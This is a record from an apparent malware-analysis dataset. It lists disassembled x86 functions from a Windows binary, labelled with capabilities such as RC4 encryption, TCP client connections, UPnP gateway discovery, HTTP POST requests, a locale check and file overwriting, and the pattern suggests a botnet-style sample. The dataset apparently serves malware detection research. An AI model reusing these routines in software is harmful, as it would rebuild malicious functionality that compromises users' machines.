joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ad90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [0x416e38], 0
jne 0x40ada4
jmp 0x40ae7c
mov eax, dword [0x416e38]
shl eax, 3
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040a1b0
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40ae7c
mov dword [ebp - 0x10], 0
jmp 0x40adda
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x416e38]
jae 0x40ae14
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx*4 + 0x416e40]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [edx + 4]
mov dword [ecx + eax*8], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax*4 + 0x416e40]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov ecx, dword [ecx + 8]
mov dword [eax + edx*8 + 4], ecx
jmp 0x40add1
push 0
push 2
push 2
push 0
push 0
push 0x40000000
push 0x416c08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40ae63
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3d
push 0x4157e0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [ebp - 4]
push edx
call fcn.0040a3c0
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x40afe0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov byte [ebp - 0x101], 0
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x40b077
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x40b077
mov dword [ebp - 0x10c], 0
jmp 0x40b03e
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
cmp dword [ecx + edx*4], 0
je 0x40b077
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
mov eax, dword [ecx + edx*4]
mov ecx, dword [eax]
cmp ecx, dword [ebp + 8]
jne 0x40b075
mov byte [ebp - 0x101], 1
jmp 0x40b077
jmp 0x40b02f
mov al, byte [ebp - 0x101]
mov esp, ebp
pop ebp
ret
Function at 0x40b4d0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x416e20
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [ebp - 8], 0
jmp 0x40b4f3
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x200
jae 0x40b519
push 0
call fcn.0040d6b0
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x4157e8]
push edx
call fcn.0040b0b0
add esp, 0xc
jmp 0x40b4ea
push 0
push 0
push 3
push 0
push 0
push accept
push 0x416c08
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40b602
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40b5f8
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40b5ee
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
jmp 0x40b5ad
mov eax, dword [ebp - 0x18]
add eax, 8
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x14]
jae 0x40b5e4
cmp dword [ebp - 0x1c], 0x200
jae 0x40b5e4
push 0
call fcn.0040d6b0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
sub eax, dword [edx + ecx*8 + 4]
push eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + eax*8]
push edx
call fcn.0040b0b0
add esp, 0xc
jmp 0x40b59b
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.0040ad70
push 0
push 0
push 0
push 0x40b630
push 0
mov eax, dword [0x417644]
push eax
call fcn.0040d370
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x40c2a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov eax, dword [ebp + 0x14]
mov cl, byte [eax + 0x100]
mov byte [ebp - 2], cl
mov edx, dword [ebp + 0x14]
mov al, byte [edx + 0x101]
mov byte [ebp - 1], al
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0x40c2d7
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jae 0x40c377
movzx ecx, byte [ebp - 2]
add ecx, 1
and ecx, 0xff
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + edx]
movzx edx, byte [ebp - 1]
add ecx, edx
and ecx, 0xff
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 8]
mov dl, byte [ecx + eax]
mov byte [ebp - 3], dl
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 8]
mov esi, dword [ebp - 8]
mov al, byte [esi + eax]
mov byte [edx + ecx], al
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp - 8]
mov al, byte [ebp - 3]
mov byte [edx + ecx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
movzx ecx, byte [ebp - 1]
mov esi, dword [ebp - 8]
movzx ecx, byte [esi + ecx]
add eax, ecx
and eax, 0xff
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
mov byte [ecx], dl
jmp 0x40c2ce
mov edx, dword [ebp + 0x14]
mov al, byte [ebp - 2]
mov byte [edx + 0x100], al
mov ecx, dword [ebp + 0x14]
mov dl, byte [ebp - 1]
mov byte [ecx + 0x101], dl
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40cf00
Capabilities:
Check for time delay via gettickcount
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x14], 0xffffffff
je 0x40cf1e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
lea edx, [ebp - 0xc]
push edx
push 0x4004667f
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x40cf45
jmp 0x40cfbf
cmp dword [ebp - 0xc], 0
jle 0x40cfa2
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jae 0x40cf5b
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
jmp 0x40cf61
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x40cfa2
cmp dword [ebp + 0x14], 0xffffffff
je 0x40cf90
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 0x10]
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 8]
ja 0x40cfbf
cmp dword [ebp + 0x10], 0
jne 0x40cf24
xor eax, eax
cmp dword [ebp + 0x10], 0
sete al
mov esp, ebp
pop ebp
ret

Function at 0x40cfd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0xffffffff
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40d04f
xor eax, eax
mov word [ebp - 0x14], ax
xor ecx, ecx
mov dword [ebp - 0x12], ecx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
mov word [ebp - 6], cx
mov edx, 2
mov word [ebp - 0x14], dx
push 0x9e34
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40d04f
mov eax, dword [ebp - 4]
push eax
call fcn.0040ad50
add esp, 4
mov dword [ebp - 4], 0xffffffff
jmp 0x40d053
xor ecx, ecx
jne 0x40cfdd
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40d370
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x40d458
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 8]
push edx
call fcn.0040d460
add esp, 4
cmp dword [ebp + 0x10], 0
je 0x40d44b
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ecx*4 + 4]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
push ecx
call fcn.0040a1f0
add esp, 8
mov edx, dword [ebp - 8]
mov dword [edx + 0x1c], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x1c], 0
je 0x40d44b
mov ecx, dword [ebp + 0x18]
push ecx
push 0
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40d44b
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x1c]
mov ecx, dword [ebp - 0xc]
mov dword [edx + eax*4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
add eax, 1
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
cmp dword [ebp + 0x1c], 0
je 0x40d444
push 2
push 0
push 0
mov edx, dword [ebp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 8]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40d920
Capabilities:
Create udp socket
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40da81
xor eax, eax
mov word [ebp - 0x38], ax
xor ecx, ecx
mov dword [ebp - 0x36], ecx
mov dword [ebp - 0x32], ecx
mov dword [ebp - 0x2e], ecx
mov word [ebp - 0x2a], cx
mov edx, 2
mov word [ebp - 0x38], dx
push 0x76c
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x36], ax
push str.239.255.255.250
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x15], 1
push 1
lea eax, [ebp - 0x15]
push eax
push 0x20
push 0xffff
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
xor edx, edx
mov word [ebp - 0x28], dx
xor eax, eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov word [ebp - 0x1a], ax
mov ecx, 2
mov word [ebp - 0x28], cx
call fcn.0040ac90
mov dword [ebp - 0x24], eax
push 0x10
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WS2_32.dll_bind]
mov dword [ebp - 0x14], str.M_SEARCH__HTTP_1.1_r_nST:urn:schemas_upnp_org:device:InternetGatewayDevice:1_r_nMX:_3_r_nMan:_ssdp:discover__r_nHOST:_239.255.255.250:1900_r_n_r_n
push 0x10
lea ecx, [ebp - 0x38]
push ecx
push 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
mov dword [ebp - 0x10], 1
lea edx, [ebp - 0x10]
push edx
push 0x8004667e
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov ecx, 1
test ecx, ecx
je 0x40da75
mov dword [ebp - 0x3c], 0
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.0040daa0
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x40da44
jmp 0x40da75
mov edx, dword [ebp - 4]
lea eax, [edx*4 + 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040a1f0
add esp, 8
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x3c]
mov dword [eax + edx*4], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x40da1b
mov eax, dword [ebp - 0xc]
push eax
call fcn.0040ad50
add esp, 4
cmp dword [ebp - 8], 0
je 0x40da8f
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40daa0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov byte [ebp - 0x401], 0
mov dword [ebp - 0x408], 0
jmp 0x40dacb
mov eax, dword [ebp - 0x408]
add eax, 1
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 2
jge 0x40db84
push 0
push 0
push 0
push 0x400
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
jne 0x40db06
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40dabc
mov byte [ebp - 0x401], 1
push 0xf
push str.HTTP_1.1_200_OK
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x40db7f
push str.LOCATION:
lea ecx, [ebp - 0x400]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
je 0x40db7f
mov edx, dword [ebp - 0x40c]
add edx, 0xa
mov dword [ebp - 0x410], edx
push 0xd
mov eax, dword [ebp - 0x410]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrA]
sub eax, dword [ebp - 0x410]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
call fcn.0040cab0
add esp, 8
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
jmp 0x40dabc
mov al, byte [ebp - 0x401]
mov esp, ebp
pop ebp
ret
Function at 0x40ddd0
Capabilities:
Connect to http server
Create http request
Parse url
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x754
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x344], 0
push 0x38
push 0
lea eax, [ebp - 0x340]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x344], 0x3c
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x330], 0x100
lea edx, [ebp - 0x300]
mov dword [ebp - 0x318], edx
mov dword [ebp - 0x314], 0x200
lea eax, [ebp - 0x344]
push eax
push 0x10000000
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0
je 0x40dfe7
push 0
push 0
push 3
push 0
push 0
movzx edx, word [ebp - 0x32c]
push edx
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [ebp - 0x308]
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
je 0x40dfda
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x300]
push edx
push 0x411a08
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
je 0x40dfcd
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x34c]
push ecx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40dfc0
cmp dword [ebp + 0xc], 0
je 0x40dfb6
mov dword [ebp - 0x350], 0
mov edx, 1
test edx, edx
je 0x40dfa9
lea eax, [ebp - 0x754]
push eax
push 0x400
lea ecx, [ebp - 0x750]
push ecx
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40df4b
cmp dword [ebp - 0x754], 0
jne 0x40df4d
jmp 0x40dfa9
mov eax, dword [ebp - 0x350]
add eax, dword [ebp - 0x754]
push eax
mov ecx, dword [ebp - 0x304]
push ecx
call fcn.0040a1f0
add esp, 8
mov dword [ebp - 0x304], eax
mov edx, dword [ebp - 0x754]
push edx
lea eax, [ebp - 0x750]
push eax
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x350]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x350]
add edx, dword [ebp - 0x754]
mov dword [ebp - 0x350], edx
jmp 0x40df11
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x350]
mov dword [eax], ecx
jmp 0x40dfc0
mov dword [ebp - 0x304], 1
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x308]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x304]
mov esp, ebp
pop ebp
ret
Function at 0x40e700
Capabilities:
Connect to http server
Create http request
Parse url
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x75c
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x344], 0
push 0x38
push 0
lea eax, [ebp - 0x340]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x344], 0x3c
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x330], 0x100
lea edx, [ebp - 0x300]
mov dword [ebp - 0x318], edx
mov dword [ebp - 0x314], 0x200
lea eax, [ebp - 0x344]
push eax
push 0x10000000
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
push 0
push 0
push 0
push 1
push str.Mozilla_4.0__compatible__UPnP_1.0__Windows_9x_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0
je 0x40e931
push 0
push 0
push 3
push 0
push 0
movzx edx, word [ebp - 0x32c]
push edx
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [ebp - 0x308]
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
je 0x40e924
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x300]
push edx
push str.POST
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
je 0x40e917
push 0xa0000000
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov dword [ebp - 0x350], str.Content_Type:_text_xml__charset_utf_8__r_nConnection:_Close_r_nCache_Control:_no_cache_r_nPragma:_no_cache_r_n
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0x350]
push eax
mov ecx, dword [ebp - 0x34c]
push ecx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40e90a
mov dword [ebp - 0x354], 0
mov edx, 1
test edx, edx
je 0x40e8ff
lea eax, [ebp - 0x75c]
push eax
push 0x400
lea ecx, [ebp - 0x758]
push ecx
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40e8a1
cmp dword [ebp - 0x75c], 0
jne 0x40e8a3
jmp 0x40e8ff
mov eax, dword [ebp - 0x354]
add eax, dword [ebp - 0x75c]
push eax
mov ecx, dword [ebp - 0x304]
push ecx
call fcn.0040a1f0
add esp, 8
mov dword [ebp - 0x304], eax
mov edx, dword [ebp - 0x75c]
push edx
lea eax, [ebp - 0x758]
push eax
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x354]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x354]
add edx, dword [ebp - 0x75c]
mov dword [ebp - 0x354], edx
jmp 0x40e867
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x354]
mov dword [eax], ecx
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x308]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x304]
mov esp, ebp
pop ebp
ret
Function at 0x40e940
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xa
lea eax, [ebp - 0xc]
push eax
push 7
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x4124e0
lea ecx, [ebp - 0xc]
push ecx
call sub.ntdll.dll_strcmp
add esp, 8
test eax, eax
jne 0x40e972
mov al, 1
jmp 0x40e974
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40e980
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push 0
push 3
push 0
push 1
push accept
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40e9c8
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40e9d0
Capabilities:
Get file size
Read file via mapping
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov byte [ebp - 0x11], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
push 0
push 0
push 3
push 0
push 0
push accept
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40eb2a
push 0
push 0
push 0
push 2
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40eb20
push 0
push 0
push 0
push 4
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40eb16
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jbe 0x40eb0c
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0040ca00
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40eb0c
mov edx, dword [ebp - 8]
sub edx, 0x100
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x18], edx
jne 0x40eb0c
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x100
push ecx
push 0x10
mov edx, dword [ebp - 0x10]
add edx, 8
push edx
call fcn.0040c3a0
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40eb0c
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0040a6f0
add esp, 0xc
push 0x10
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 8
push ecx
call sub.ntdll.dll_memcmp
add esp, 0xc
test eax, eax
je 0x40eb0c
mov edx, dword [ebp - 4]
push edx
call fcn.0040a3c0
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x40eb84
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40eb78
mov byte [ebp - 0x11], 1
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call fcn.0040a3c0
add esp, 4
mov al, byte [ebp - 0x11]
mov esp, ebp
pop ebp
ret